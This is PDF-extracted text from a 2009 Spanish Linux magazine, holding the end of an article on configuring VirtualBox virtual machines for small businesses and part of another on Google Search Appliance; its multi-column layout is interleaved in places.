sistema. Gracias a esta podemos copiar un texto del block de notas en la máquina física y pegarlo en un editor de texto en la máquina virtual. El Ide controler type nos da la posibilidad de seleccionar el tipo de controlador que queremos que VirtualBox emule como controlador del Disco Duro. A no ser que se tenga un hard- Con la correcta configuración de estos parámetros podemos alcanzar un rendimiento considerablemente mayor para nuestras máquinas virtualizadas. Para acceder a ellos seleccionamos la segunda pestaña del menú de configuración de la máquina virtual. El aspecto de esta pestaña de configuración puede variar dependiendo de la versión de VirtualBox que hayamos instalado, que depende de si lo instalamos con el gestor de paquetes de Debian, Ubuntu o Gentoo, o si bajamos los fuentes de la última versión y los compilamos manualmente. Dado que en las nuevas versiones sí están los parámetros de versiones anteriores, pero no a la inversa, se explicarán aquellos que no pertenecen a la última versión descargable, aunque es la instalable por defecto para la mayoría de las distribuciones de Linux. En esta segunda pestaña nos aparecerá un menú como el mostrado en la Figura 14. Al igual que en los ordenadores físicos, en VirtualBox también se puede definir y priorizar el medio con el que se desea que arranque: Disquete, disco duro, cdrom, etcétera. En una máquina virtual sucede exactamente lo mismo. Esa es la utilidad del cuadro Boot Order. Normalmente aparecerá en el orden en el que se ve en la Figura 14, o puede que el disquete y la red se encuentre antes. Esto puede ajustarse según convenga. Si deseamos cambiar el orden tan solo tendremos que seleccionar una opción y darle a las flechas de la derecha, que se activarán cuando se haya marcado una de las opciones. Para darle mayor prioridad le daremos a la flecha hacia arriFigura 12. El menú Ayuda ba y flecha hacia abajo para disminuirla. www.lpmagazine.org 27 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES ware muy antiguo lo conveniente sería que seleccionáramos el controlador PIIX4. La última opción, snapshot folder, contiene la ruta donde VirtualBox almacenará las instantáneas que tomemos de nuestras máquinas virtuales. Las instantáneas son imágenes del disco duro (virtual). Esto es útil para cuando hemos terminado de instalar nuestro sistema operativo. Cuando lo hayamos dejado todo configurado a nuestro gusto podríamos crear una instantánea. De esta manera si nuestro sistema se vuelve inestable o dejara de funcionar podríamos volver al punto en que tomamos la instantánea, es decir, restaurarlo y dejarlo en el punto que fue tomada. Las pestañas de descripción y Otros En la pestaña descripción podemos escribir un pequeño comentario sobre el uso o la utilidad que tiene esa máquina virtual. Esto es muy útil cuando se tienen muchas máquinas y son usadas para diferentes cometidos. En la pestaña Other Podemos activar la opción: Remember Mounted Media. Para explicarla es necesario comentar como se le añaden dispositivos a la máquina virtual. Imaginemos que tenemos 2 máquinas virtuales arrancadas y funcionando. Entonces conectamos un pendrive de memoria al ordenador. Nuestro sistema operativo de la máquina física lo reconocerá, permitiéndonos usarlo. Tal vez querríamos conectarlo a alguna de las máquinas virtuales. Cuando lo asociamos a ella sería como si se le hubiera conectado un pendrive igual que a la física. La conexión de este dispositivo puede ser recordada cuando ésta se apague y vuelva a encenderse. Para ello tendríamos que marcar esta opción. esos cambios se quedarían en esos ficheros. No afectan en absoluto al disco duro real. Por eso las máquinas virtuales son perfectas como entornos de pruebas. Para crear un nuevo disco tan solo debemos de darle al botón que se encuentra a la derecha, en que aparece un + pintado en verde. Se nos abrirá un asistente. Hemos de seguirlo. La única cosa que cabría resaltar de él son los tipos de imágenes (Así llama VirtualBox a los discos duros virtuales). Cuando creamos un disco virtual tenemos la opción de reservar todo el espacio con el que decidimos crear el disco en el momento de la creación (Imagen de Tamaño Fijo) o que reservar ese espacio, poco a poco, cuando vaya haciendo falta (Imagen de Expansión Dinámica). La elección, normalmente, será la de expansión dinámica. De esta manera ahorraremos espacio, aunque perderemos algo de eficiencia al tener que calcular el espacio necesario al vuelo. En el siguiente paso asignamos el tamaño que deseamos y daremos un nombre a nuestro nuevo disco virtual. Es importante recalcar que solo podemos marcar un disco duro como primario. El resto han de ser secundarios. Configuración del CDROM y disquete unidad de CDROM. VirtualBox se encargará de emular y hacer creer al sistema virtualizado que se trata de una unidad de CDROM. Esto es muy útil cuando queremos instalar un nuevo sistema operativo. Muchos de estos suelen estar en formato .iso. Este formato está preparado para ser grabado directamente en un CDROM virgen. Seleccionando esta opción en VirtualBox nos ahorramos el gastarlo. Además, el acceso es considerablemente más rápido. Para el caso del disquete sucede exactamente lo mismo. Configuración del dispositivo de sonido Seleccionado la pestaña Audio, a la izquierda, podemos habilitar el acceso a la tarjeta de sonido para la máquina virtual. En la sección derecha, una vez hayamos activado la opción, podemos seleccionar de los desplegables varias cosas. La primera es el sistema de sonido que deseamos usar (opción Host Audio Driver). Actualmente el sistema más usado es ALSA. Salvo que se haya modificado expresamente el servidor de sonido éste será el que tenga instalado. Con el otro desplegable podemos elegir la tarjeta de sonido que queremos que emule VirtualBox. Salvo que tenga un buen motivo para hacerlo, debería de elegir: ICH AC97. La razón es porque la mayor parte de los sistemas operativos soportan sin problemas este dispositivo por defecto y, normalmente, será mejor que la otra opción que se nos presenta. Seleccionando en el menú de la izquierda CD/DVD-ROM nos mostrará, en la parte de la izquierda un cuadro de selección con el que podremos activar el soporte óptico en la máquina virtual. VirtualBox ofrece varias opciones para hacerlo. La primera, que es la convencional, es Configuración de las tarjetas de red usar el lector de la máquina física. Esta viene La configuración de la red es uno de los puncon el nombre de Unidad CD/DVD-ROM an- tos débiles que había tenido VirtualBox hasta fitrión. La segunda puede resultar curiosa para ahora. El motivo no es la falta de soporte, ni Configuración de los discos duros la gente neófita. Con ésta se nos da la posibi- la imposibilidad de no poder hacer las mismas En las pestañas de selección que se encuentran lidad de seleccionar una imagen, o ISO, como cosas que con otro software. La razón era la a la izquierda elegimos el Discos duros, a la derecha nos aparecerá una lista con los disponibles para esa máquina virtual. Es concepto de disco duro en una máquina virtual es un tanto extraño. Nosotros podemos crear tantos discos duros virtuales como queramos. Cuando arranquemos el sistema huésped, éste detectará todos los que tengamos añadidos y los reconocerá cada uno de ellos como discos físicos diferentes. Una de las grandes ventajas de las máquinas virtuales es que los discos duros que se le asocian son ficticios. Esto significa que VirtualBox creará un serie de archivos, con el tamaño (éste es la suma de los tamaños de todos estos archivos) que le asignemos al disco duro virtual, y le hará creer al sistema virtualizado que realmente existe ese disco. He aquí la gran ventaja, pues aunque modifiquemos cualquier cosa en el disco virtual, desinstalemos o rompamos el sistema de archivos de éste, todos Figura 13. Selección del cantidad de RAM y memoria de vídeo 28 Linux+ 5/2009 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Directorios compartidos Este punto puede que sorprenda, gratamente, a muchos. Es una de las funcionalidades más prácticas y cómodas que podemos encontrar en los sistemas de virtualización. Esto es: tenemos la posibilidad de seleccionar una carpeta en la máquina física y compartir el contenido de la misma con la máquina virtual que deseemos (o con varias) y viceversa. Cualquier cosa que guardemos en esta carpeta en la máquina virtualizada se quedará almacenado en el directorio de la máquina física que hayamos elegido, aun después de que hayamos apagado la máquina virtual. Esto es especialmente útil para compartir archivos entre máquinas virtuales. Para crear un directorio compartido haremos click en el botón que se encuentra a la derecha con una + en verde. En Folder path elegimos el directorio, de la máquina física, que queremos compartir. En Folder name el nombre con el que queremos que se vea en la máquina virtualizada. Si deseamos que la carpeta solo pueda ser leída por las máquinas virtuales marcamos la opción de solo lectura. Finalmente aceptamos. Para usar estas carpetas tenemos que seguir procedimientos diferentes si queremos usarlas en Windows o en Linux. Para usarlas en Windows abrimos el Explorer (No el Internet Explorer) y escribimos: \vboxsvr\CARPETA. Donde CARPETA es el nombre que le dimos cuando la creamos. Para un sistema Linux tendríamos que escribir: mount -t vboxsf share P_MONTAJE. Donde P_MONTAJE es el directorio que queremos montar compartido. Es muy importante recalcar que para que se encuentre disponible la posibilidad de usar esta característica es imprescindible tener instalado las Guest additions. Figura 14. Parámetros avanzados complicación a la hora de establecer determinadas configuraciones. En su versión estable VirtualBox soporta hasta cuatro interfaces de red (en su última versión este número asciende a ocho). Se nos ofrece la posibilidad de simular cada interfaz de una forma diferente, así como la emulación de diferentes tipos de tarjetas de red (usando drivers diferentes). Para habilitar la tarjeta de red marcamos el botón de chequeo correccionalmente. En primer lugar nos aparece el desplegable Adapter type. Aquí podemos elegir el driver a emular. Si no va a instalar un sistema operativo excesivamente viejo debería decantarse por Pcnet-FAST III (Am79C973). En caso contrario elija la otra opción. La gran diferencia entre configuraciones de las diferentes tarjetas se encuentra en el desplegable Attached to. La primera opción, No conectado, tiene un efecto (en el sistema virtualizado) como si existiera una tarjeta de red conectada al PC pero se encontrara deshabilitada. Con NAT, seremos capaces de conectarnos a la red de forma que VirtualBox se encargará de realizar el nat con la tarjeta de red física. Cuando encendamos la máquina virtual y nuestro sistema operativo pida una dirección IP, éste se encargará de asignarle una de un rango privado, y el resto de parámetros de configuración. Podríamos decir que el efecto es el mismo que si conectáramos un PC al router de nuestra casa. VirtualBox haría el papel de router. A no ser que tenga otras necesidades, esta debería de ser la opción elegida. Si elegimos Interfaz Anfitrión, le diríamos a VirtualBox que emule la tarjeta de red real completamente. De esta manera creará una especie de canalización directa entre la máquina virtual y la tarjeta de red, sin intermediarios. De este modo todo el tráfico entrante y saliente que circule por esa tarjeta de red, y vaya dirigdo a esa nueva interfaz de red simulada, MAC Address nos permite cambiar el identificador de nuestra tarjeta. Este identificador es un número único que cada fabricante dispone para asignarle a sus productos, y que las establece la organización internacional pertinente. Tenemos la posibilidad de cambiar este número o que VirtualBox nos los autogenere. Para autogenerarlo hemos de darle al botón Generar. La última opción que se nos permite marcar Cable conectado, le dice a VirtualBox si la tarjeta de red estará encendida cuando arranquemos el sistema virtualizado o no. Finalmente nos encontramos la opción red interna. Este tipo de configuración es especialmente útil cuando queremos simular un entorno de maqueta para hacer pruebas. Con ella podemos crear redes internas a las propias máquinas virtuales, en la que solo aparecieran en la red todas aquellas que se configurarán con esta opción. Este proceso se explicará más detalladamente más adelante. Instalación de la Guest additions Para poder disfrutar de todas las posibilidades que Configuración del puerto serie nos brinda VirtualBox es imprescindible tener insPodemos configurarlos seleccionando la opción talados los Añadidos para le huésped. Estos son de la izquierda Puertos seriales. Se nos da la controladores y drivers para el sistema virtualizaposibilidad de configurar dos puertos. Lo ha- do, que activan características como: Portapapeles bilitaremos marcando el botón de chequeo que compartidos, directorios compartidos, mejor rennos aparecerá a la derecha. Debemos seleccio- dimiento de la tarjeta gráfica, etc. Su instalación nar el puerto al que queramos acceder (COM1, es sumamente simple. Tan solo hemos de arrancar COM2, etc). Al igual que con las tarjetas de red la máquina virtual en la que deseamos instalarlos. tenemos la opción de usarlo en modo compar- Entonces seleccionamos el menú Dispositivos, y tido, Tubería (pipe) Anfitrión (sería análogo dentro de este Instalar Guest additions (Instalar al NAT) y Dispositivo anfitrión que sería el aplicaciones del huésped). VirtualBox se encarequivalente al interfaz anfitrión para las tarjetas gará de descargar los archivos necesarios por de red. Tanto para uno como para el otro, ha de nosotros y crear un cdrom virtual en la máquina elegir la ruta donde se encuentra el dispositivo. huésped. Una vez hecho esto hemos de instalar las Estos están en /dev/ttySX donde la X correspon- herramientas como si instaláramos cualquier otro de con el dispositivo físico. tipo de software desde el cdrom. www.lpmagazine.org 29 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Listado 5. Configuración del bridge en Debian auto vbox0 iface vbox0 inet manual auto br0 iface br0 inet dhcp bridge_ports all vbox0 up ifconfig INTERFAZ 0.0.0.0 up down ifconfig INTERFAZ down tunctl_user USUARIO Listado 6. Configuración del bridge en Debian con la máquina virtual tenemos que cargar el a ella por muy bien configurada que esté. Para soporte para realizar esta acción en el kernel. ello tecleamos en un terminal, en modo root, lo Para ello cargamos el módulo tun (como usua- siguiente: chmod 0666 /dev/net/tun. rio root): Hecho este paso ya estamos en disposición de reiniciar los servicios de red. Para hacerlo # modprobe tun tecleamos lo que sigue. En Debian/Ubuntu: Si no queremos tener que hacer esto cada vez que necesitemos usar VirtualBox, podemos # /etc/init.d/networking restart añadir el módulo para que se autocarge en el arranque. Para ello editamos: En Gentoo: En Debian/Ubuntu el archivo /etc/modules, y añadimos lo siguiente: /etc/init.d/netmount […] config_eth0="null" tun tuntap_vbox0="tap" […] tunctl_vbox0="-u USUARIO" config_vbox0="null" bridge_br0="vbox0 INTERFAZ" config_br0="dhcp" brctl_br0="setfd 0 sethello 0 stp off" Configuración de la red En el punto anterior se explicó brevemente la configuración de las tarjetas de red en sus formas más simples. En este punto se va a explicar la configuración para las tarjetas cuando se necesita una disposición un poco más avanzada. Esta configuración es la que adopta cuando ponemos el adaptador de red en modo Interfaz anfitrión. Para conseguir este tipo de configuración se han de seguir unos pasos nada intuitivos. Afortunadamente en las últimas versiones todo este proceso no es necesario, ya que es llevado a cabo por el propio VirtualBox. Pero en las versiones consideradas estables sí lo es. A continuación detallaremos este proceso. Lo pasos a seguir serán los siguientes: Instalar el software adicional necesario, cargar los módulos del kernel correspondientes, configurar y preparar esa configuración para el arranque automático. Siguientes los anteriores pasos, instalamos el software adicional necesario. Para ello abrimos una consola e instalamos lo siguiente: En Debian/Ubuntu: En Gentoo editamos el archivo /etc/modules. autoload.d/kernel-2.6, y añadimos la misma línea que para Debian y Ubuntu. Ahora es necesario configurar las interfaz y crear el túnel. Podemos hacer esto modificando una serie de archivos de configuración y reiniciando los parámetros del sistema. Normalmente la mayoría de usuarios se conectan usando DHCP, por tanto se explicará para este caso. La configuración es la que sigue (ha de hacerse como root). En Debian/Ubuntu ha de modificar el archivo /etc/network/interfaces y añadir las siguientes líneas (Listado 5). La primera vez que vayamos a usar el puente, antes reiniciar toda la red del sistema tenemos que ejecutar los siguientes comandos. Esto solo ha de hacerse la primera vez, después se hará automáticamente cada vez que si inicie el equipo. # /sbin/ifup vbox0 # /sbin/ifup br0 En Gentoo (Listado 6). Donde INTERFAZ es la interfaz de red con la que accede a internet. Si solo dispone de una tarjeta de red ethernet será, con toda seguridad, eth0. Si por el contrario se conecta con una tarjeta inalámbrica el nombre puede variar. Podría llamarse wlan0, eth0, o incluso de otro modo. Para asegurarse teclee el comando iwconfig. To# apt-get install uml-utilities das las interfaces que no son inalámbricas se le # apt-get install bridge-utils indicará. Por ejemplo, podría aparecerle una línea como esta: eth0 no wireless extensions. ReEn Gentoo: conocer la tarjeta wifi es muy simple. Será aquella en la que no aparezca ese mensaje. Cambie # emerge bridge-utils USUARIO por el del usuario con el que accede al sistema. Ahora es necesario cargar los módulos del kernel Antes de rearrancar toda la red hemos de dar correspondientes. Puesto que lo que realmente los permisos adecuados a la interfaz que hace hace nuestra máquina física es crear un puente de túnel, de lo contrario no podríamos acceder 30 Linux+ 5/2009 Realizados todos los pasos tan solo nos queda configurar la interfaz virtual en VirtualBox. Abrimos la configuración de la máquina virtual que queramos puentear y la ponemos en modo Anfitrión. Debajo nos aparecerá un cuadro en blanco. Para añadir nuestra interfaz puente recién creada escribimos en el cuadro de texto Interfaz name: vbox0. Sólo un pequeño añadido más. Para que todo funcione correctamente hay que asegurarse que, para cada usuario que quiera acceder a las máquinas virtuales, ha de haberse añadido previamente al vboxusers. Conclusión Hemos llegado al final de este número. En él se han mostrado los principales parámetros de configuración e instalación, además de hacerse unas breves comparativas de los productos actuales y sus posibilidades. En la próxima entrega se abordará una instalación práctica de todo un sistema de maqueta, con una infraestructura de red compleja, así como la instalación, paso a paso, de un sistema virtualizado, clonación de máquinas virtuales. También se instalarán y configurarán máquinas virtuales independientes para ofrecer: servidores web, sistemas de bases de datos, firewalls perimetrales avanza dos y mucho mas. Sobre el autor Daniel García, es Diplomado en Ingeniería Técnica Informática por la Escuela Politécnica Superior de Informática de Albacete. Especializado en seguridad informática, trabaja actualmente como auditor de seguridad para Arcitel Ibérica S.A., en división de seguridad de Telefónica I+D. Puede localizarse en la web en la que colabora, o en el correo electrónico: Web: www.iniqua.com E-mail: [email protected] E-mail: [email protected] soluciones para empresas Google Search Appliance Google Search Appliance Miguel Sempere [email protected] Google es el buscador de contenidos más importante a nivel mundial, perteneciente a Google Inc. y fundado por Larry Page y Sergey Brin (dos estudiantes de doctorado en Ciencias de la Computación de la Universidad de Stanford) hace ya mas de 10 años. 32 S u éxito se basó en una novedosa forma de realizar las búsquedas online, con la creación de un algoritmo, el 'PageRank', que posteriormente pasaría a ser el corazón que haría funcionar a Google. Pero antes de la gallina apareció el huevo y antes de Google surgió BackRub, buscador escrito en Java y Python que posteriormente cambiaría de nombre y pasaría a ser conocido como en la actualidad. En 1998, el año que marcaría un antes y un después para Google Inc. comenzó con Larry y Sergey buscando apoyo económico y sistemas de financiación, pero sólo lograron encontrar ofertas demasiado bajas o empresas que no pretendían desarrollar su idea de la forma que ellos tenían pensado. Así que después de un traslado de los equipos a la habitación de Larry Page, decidieron fundar su propia empresa creando la oficina principal en el cuarto de Sergey, junto al de Larry. A pesar de ello Google seguía indexando webs y obligó a Larry y Sergey a desembolsar 15.000$ en discos duros rebajados haciéndoles dejar de lado sus doctorados y dedicar todo su tiempo a su idea. En el presente, Google es el motor de búsqueda en Internet más usado y eficaz con una capacidad para ofrecer acceso Linux+ 5/2009 a más de 8.168 millones de páginas webs y con más de 200 millones de consultas al día. ¿Qué es Google Search Appliance (GSA)? Ahora imagine tener todo el potencial de búsqueda de Google en la empresa con una tecnología muy similar a la empleada en la web google.com. Fue este el motivo por el que miles de gerentes de IT y ejecutivos perdieron el sueño, deseosos e impacientes por que Google saltara los firewalls corporativos y pasase a formar parte del mundo empresarial. Así al fin, en Febrero de 2002 y gracias a Nitin Mangtani, se llevó a cabo la esperada presentación de la primera versión de Google Search Appliance. Actualmente GSA, en su versión 5.0, se presenta como viene haciendo habitualmente en sus versiones anteriores, es decir un rack plug and play instalable en la empresa, caracterizado por su flamante color amarillo, ofreciendo un acceso a contenidos empresariales mucho mas rápido, eficaz y seguro que de cualquier otra forma. Basado en la tecnología web de Google y adaptada para los clientes de la corporación, permite a los empleados de la empresa acceder a toda la información, proveniente de gran variedad soluciones para empresas Google Search Appliance tipo de fallos del hardware y aun así seguir ofreciendo contenido sin interrupciones. A diferencia del modelo GB-1001 que ofrece soporte RAID para ofrecer redundancia frente a posibles fallos de la unidad. Con esto muchos clientes del modelo GB1001 de un sólo servidor, lo implantan en dos unidades para obtener de este modo mayor fiabilidad. Las capacidades de control de acceso de Google se integran con los sistemas de seguridad existentes de la mayoria de empresas, con lo que su implantación en cualquier corporación no se convierte en una tarea engorrosa. Y esto junto con su sistema de plug and play le permiten al rack comenzar con la indexación de forma instantanea. Figura 1. Cartel de guia para los visitantes en Google Inc de fuentes internas y externas. Así como sistemas de gestión de contenidos, sistemas de ficheros, intranets, bases de datos, aplicaciones y servicios alojados, ayudando a que las empresas se beneficien del concepto de Búsqueda Universal. GSA se puede adquirir en dos modelos diferentes, GB-1001, GB-5005 y GB-8008, completamente diferenciados de su versión reducida, Google-Mini, en cuanto a capacidad máxima de documentos y fuentes de contenido. Todos ellos emplean el mismo software que se utiliza en los centros de datos de Google. El sistema operativo que usan estos modelos, es una versión mejorada de Linux optimizada para la realización de búsquedas y que se le denomina de manera no oficial como Linux de Google. En cuanto al hardware, Google prefiere no dar detalles del sistema que emplean sus modelos y sólo especifica que sus dispositivos poseen un hardware capacitado para realizar las tareas por las que han sido desarrollados. ¿Para qué sirve? GSA tiene una eficacia, en la que es capaz de llevar a cabo una indexación de documentos, de hasta 3 millones en el modelo GB-1001 y 30 millones en el GB-8008. Así mismo esta gestión la puede realizar sobre más de 200 formatos diferentes (txt, ans, doc, pfc, jw, wri, dox, xlc, etc.), siendo apto de convertir estos a HTML, donde es capaz de resaltar las Figura 2. Imagen del Google Search Appliance palabras importantes de los resultados, permitiendo a los usuarios corporativos visualizar y tratar los archivos con mayor rapidez. Permite disponer de la gran cantidad de datos extraviados o mal ubicados en sus servidores web, servidores de archivos, sistemas de administración de contenido, bases de datos relacionales y aplicaciones comerciales al instante y a través de un único cuadro de búsqueda. Pero no todo en la corporación es sólo busquedas e indexación. Google Search Appliance permite una amplia administración y personalización en 27 idiomas diferentes, desde alemán, catalán, inglés, italiano pasando por turco, vasco, vietnamita, finés y hungaro, permitiendo realizar busquedas en 40 idiomas. De este modo permite integración con Google Analytics, que es capaz de realizar un estudio sobre el modo de empleo de los resultados de búsqueda y Google Webmaster Tools, para generar automáticamente un sitemap y detectar el contenido del site web empresarial. Así mismo es posible imponer filtros a determinados idiomas, tipos de archivos, sitios webs o metacódigos. Supervisión mediante interfaz SNMP estándar, para poder estudiar el estado del sistema y las estadísticas de servicio. Agrupaciones, para poder segmentar el índice de la búsqueda permitiendo mostrar diferentes resultados dependiendo del tipo de cargo de usuario, nombre de dominio, etc. Todo esto bajo un nivel de seguridad que ofrece control de acceso en el nivel de usuario y de documento, en todo el contenido corporativo, a fin de que se pueda asegurar que los usuarios sólo obtengan los resultados de la búsqueda acordes a los documentos que pueden consultar. Esto es posible gracias a el empleo de certificados x509, API de protección de contenido, autentificación HTTP de NTLM y asistencia nativa para Kerberos. Los modelos GB-5005 y GB8008 tienen una capacidad para resistir distintos www.lpmagazine.org ¿Quién puede utilizarlo? GSA está dirigido a todas aquellas empresas que necesiten un rápido acceso a distintos tipos de documentos, ya que según Delphi Group, los trabajadores del conocimiento dedican hasta el 25 por ciento de su jornada laboral a buscar información. Con lo que poseer una alta capacidad de búsqueda en la corporación, permite incrementar la productividad. En la actualidad la Generalitat de Catalunya emplea GSA, suministrando más de 800.000 Desde la implantación de este servicio de Google, han conseguido una web más eficiente, así como un aumento del 10 por ciento mensual del tráfico respecto a años anteriores. Kimberly-Clark es una empresa internacional líder en el sector de productos sanitarios y de higiene que cuenta con una plantilla de más de 55.000 empleados en todo el mundo y con un volumen de ventas de 18.300 millones de dólares en el 2007. Inicialmente no se podían realizar búsquedas en los servidores de archivos corporativos, sólo se podía buscar en la intranet principal y en unos cuantos sitios externos, sumando un máximo de 500.000 archivos. Listado 1. Propiedades de la configuración gsa.host=gsa32. enterprisedemo-google.com gsa.port=80 gsa.site=default_collection gsa.client=default_frontend gsa.proxystylesheet= default_frontend gsa.providertext=GSAOneBox Search gsa.image=samples/gsa/images/ gsa.jpg gsa.name=GSA32 gsa.maxresults=3 33 soluciones para empresas Google Search Appliance a la siguiente URL: http://<IP address>:8000, en cambio para realizar búsquedas seria: http:// <IP address>:80. Ante ciertos problemas, Google aconseja utilizar cualquier versión de Vmware player o server igual o superior a la 1.0 exceptuando la 2.0. ¿Un hardware así no será muy difícil de instalar? Figura 3. GSA-to-GSA en acción cargar desde la siguiente dirección: http://code. google.com/intl/es-ES/enterprise/gsave/download_ install_guide.html El único inconveniente (razonable, pero al fin y al cabo inconveniente) de esta aplicación son los prerrequisitos mínimos y recomendados para su ejecución. Un procesador Intel Pentium D 915 (dual core), con 4 GB de memoria ram y 40 GB de espacio libre en disco a 7200 RPM o mejor, generalmente no es algo de lo que pueda gozar todo el mundo, pero que vista su capacidad de poder indexar sobre los 50.000 documentos, parece completamente normal. Una vez cumplidos los prerrequisitos más exigentes, lo mas común es que no tengamos problemas a la hora de conseguir una versión ¿Puedo probarlo antes de Vmware (http://www.vmware.com/products/ de decidirme por la compra? server/) y conexión mediante ethernet. Quizá uno de los problemas más habituales para Llegados a este punto, realizaremos los una empresa, es tener que tomar la difícil deci- siguientes pasos: sión de compra de alguno de los Google Search Appliance y si éste sería realmente necesario. • Descomprimiremos el archivo obtenido a Asi como determinar si la herramienta se adapta traves de la web de Google Code. a las necesidades de las empresa. Es por ello que • Comprobaremos la suma MD5 para berifia finales de 2008 Google sacó a la luz una edicar que todo es correcto y no es una imagen ción virtual que tiene prácticamente las mismas corrupta. funcionalidades que las versiones físicas, aunque • Abriremos con Vmware el fichero bajado, con fines no comerciales, solamente para desaque tiene el estilo vgsa_{date}.vmx donrrollo, configuración y probar la API. Google de {date} es la fecha de la versión. Search Appliance virtual edition se puede des- • Esperaremos (unos 5 a 10 minutos) hasta que veamos el dialogo de configuración que muestra que el estado es activo. • En la pantalla podrá observar la dirección IP del virtual appliance, que será recomendable anotar para siguientes pasos. Tras la implantación de GSA, se ha aumentando la posibilidad de consultar cerca de 22 millones de documentos al día ubicados en su intranet y en servidores de archivos corporativos asociados. Audi, empresa automovilistica, antes de la implantación de Google Search Appliance realizó un estudio entre su antiguo motor de búsqueda y el nuevo GSA, analizando los 10 primeros resultados, buscando el texto “neumático de invierno”. Mediante GSA el término también aparecía acompañado de un vínculo con el que podían efectuarse pedidos, mientras que la otra herramienta sólo ofrecía al usuario enlaces a comunicados de prensa. Figura 4. Duro competidor del GSA de Google 34 La instalación de Google Search Appliance se caracteriza por su facilidad de puesta a punto, ya que en pocos instantes después de la primera conexión el indexado comienza instantaneamente pudiendo empezar a realizar búsquedas segundos después de realizar el encendido. El proceso de instalación de Google-mini o GB-1001 seria el siguiente: Realice el encendido del dispositivo, conecte al PC mediante el cable de configuración y acceda a través del navegador a la la URL http://192.168.255.1:1111/. Una vez realizado este paso, aparecerá un asistente de configuración, en el que deberemos otorgar al dispositivo de busqueda una dirección IP, una máscara de subred, el campo de pasarela predeterminada y la velocidad de la red. Realizado esto debería configurar los servidores DNS así como los sufijos de la siguiente forma: soporte.ejemplo.es productos.ejemplo.es division.ejemplo.es Configurar el servidor SMTP, para que el dispositivo pueda enviar notificaciones y alertas al administrador así como la zona horaria. Una vez introducida una lista de direcciones IP de servidores NTP (protocolo de tiempo de red), podremos pasar a la configuración del rastreo. Accedemos a la URL https://dirección_IP: 8443/ o https://dirección_IP:8000/ dependiendo de acceso mediante conexión segura o no. Y pasaremos a acceder al menú de rastrear e indexar donde deberemos escribir una o varias URL a ser escaneadas. En este punto podemos realizar una configuración básica, que posteriormente podremos modificar sin problemas, acerca de rastrear o no determinadas URL con unos patrones específicos. Una vez realizados estos pasos básicos ya tendremos el dispositivo de búsqueda listo para proporcionar contenido a los usuarios finales, y como hemos podido observar el tiempo estimado y la dificultad de puesta a punto inicial es mínima. Ahora mismo sería posible acceder al GSA virGeneralmente los administradores de sistual a través de un navegador. Con lo que para temas que emplean Google Search Appliance realizar su administración deberíamos acceder como primera ocasión, se sorprenden de la canti- Linux+ 5/2009 soluciones para empresas Google Search Appliance dad de resultados y documentos que se pueden llegar a mostrar, pero tras una serie de filtros como comentamos con anterioridad se pueden gestionar los resultados mostrados. Por seguridad, cabe recalcar que los parámetros de configuración de la red necesarios como, por ejemplo, la dirección IP asignada al dispositivo de búsqueda expuestos anteriormente, sólo pueden modificarse desde un equipo con acceso físico al dispositivo. El acceso a través de la red no es suficiente para modificar estos parámetros. Para hacer funcionar GSA-to-GSA One Box es necesario un servidor de aplicaciones J2EE (como Tomcat) con soporte para servlets, una versión de JRE superior o igual a 1.4, así como JDK 1.4 o superior para poder reconstruir los servlets y el fichero war (web archive) suministrado. En el caso de modificar el códido fuente, bajo licencia Apache 2.0, sería necesario emplear Eclipse, Ant y Jbuilder. Para hacer funcionar nuestro GSA-to-GSA deberíamos seguir los siguiente pasos: ¿Qué ocurre si mi empresa tiene varios GSA pero en diferentes departamentos separados geográficamente? • • Se puede dar el caso que una misma empresa disponga de varios dispositivos GSA repartidos por distintos departamentos, regiones e incluso continentes, siendo necesario poder observar si • existen resultados relevantes en otro GSA de la corporación. Esto es posible gracias a GSA-to-GSA One Box, una aplicación creada por Fmackenz y Cyrusm pertenecientes al Google Enterprise Labs, en la que un GSA pregunta a otro (GSA o mini) mediante el framework de One-Box para obtener información y devuelve el resultado en fracciones de segundo, mostrándolos en la misma página de resultado. Cargar el fichero GSAOBF.war en nuestro servidor de aplicación J2EE, como Tomcat. Abrir el fichero GSAOBF \ WEB-INF \ classes \ GSAOneBoxProvider.properties, que nos permitirá configurar los parametros respecto a nuestra configuración. Es documento gsaoneboxprovider.properti es por defeccto contiene lo siguiente (ver Listado 1). Siendo: – sa.host = Host o IP del GSA que será buscado por el GSA-to-GSA – sa.port = El puerto por el cual se realizará la búsqueda – sa.site = El nombre de la colección buscada por el GSA One-Box – sa.client = El nombre del frontend GSA • • • • – sa.proxystylesheet = El nombre del front-end GSA que tiene el XSLT para la tranformación – sa.providertext = Nombre identificativo de un OneBox que será devuleto al GSA tras la consulta – sa.image = Imagen que aparece una vez mostradas las busquedas. La ruta seria: GSAOBF\images\ – sa.name = Nombre representativo de las busquedas del GSA-to-GSA – sa.maxresults = Número máximo de resultados mostrados, se recomienda un valor entre 2 y 5. vModificar todas la ocurrencias de YOUR_ONEBOX_HOST, en el fichero GSA_ Basic.xml por el host donde está ubicado el GSA-to-GSA. Modificar todas las ocurrencias de YOUR_ ONEBOX_PORT, en el fichero GSA_Basic. xml por el puerto en el que su aplicación se ejecuta en el servidor donde esta ubicado el GSA-to-GSA. Instalar el modulo GSA_Basic.xml en el GSA. Ya seria posible probar consultas y ver los resultados. La aplicación está disponible en: http://code.google.com/p/gsa2gsa1box/ PUBLICIDAD www.lpmagazine.org 35 soluciones para empresas Google Search Appliance GSA vs Thunderstone Search Appliance Thunderstone Search Appliance es el único dispositivo físico capaz de competir con Google Search Appliance, que es capaz de realizar 15 consultas por segundo (o alrededor de 1000 por minuto), superando al GB-1001 de Google que sólo admite 300 por minuto. Permite grupos ilimitados al igual que ocurre con GSA, dividiéndolos por comunidades, sitios webs o temas. Tiene una capacidad de indexación de 3 millones de documentos, asemejandose al GB-1001. Indice de contenidos de documentos de Flash, JavaScript, Shockwave para rastrear contenido web que no se puede encontrar a través de hipervínculos de HTML convencionales, gestión automática de cookies, detección de duplicados, creación de hojas de estilo XML y capacidad para indexar contenido binario mediante metadatos. Soporte para 150 formatos de documentos diferentes, frente a los más de 200 que soporta GSA y capacidad de búsqueda en bases de datos MS SQL Server, Oracle, Sybase, DB2, PostgreSQL y Thunderstone Texis. Pero las diferencias más importantes que tiene Thunderstone Search Appliance sobre Google Search Appliance es la capacidad de modificar el Ranking de relevancia, rastrear sitios webs de terceros, eliminación de duplicados, añadir o quitar URLs en tiempo real y soporte telefónico. Google Search Appliance + Google Desktop edición para empresas (GDfE) Esta indexación la lleva a cabo continuamente ejecutandose en segundo 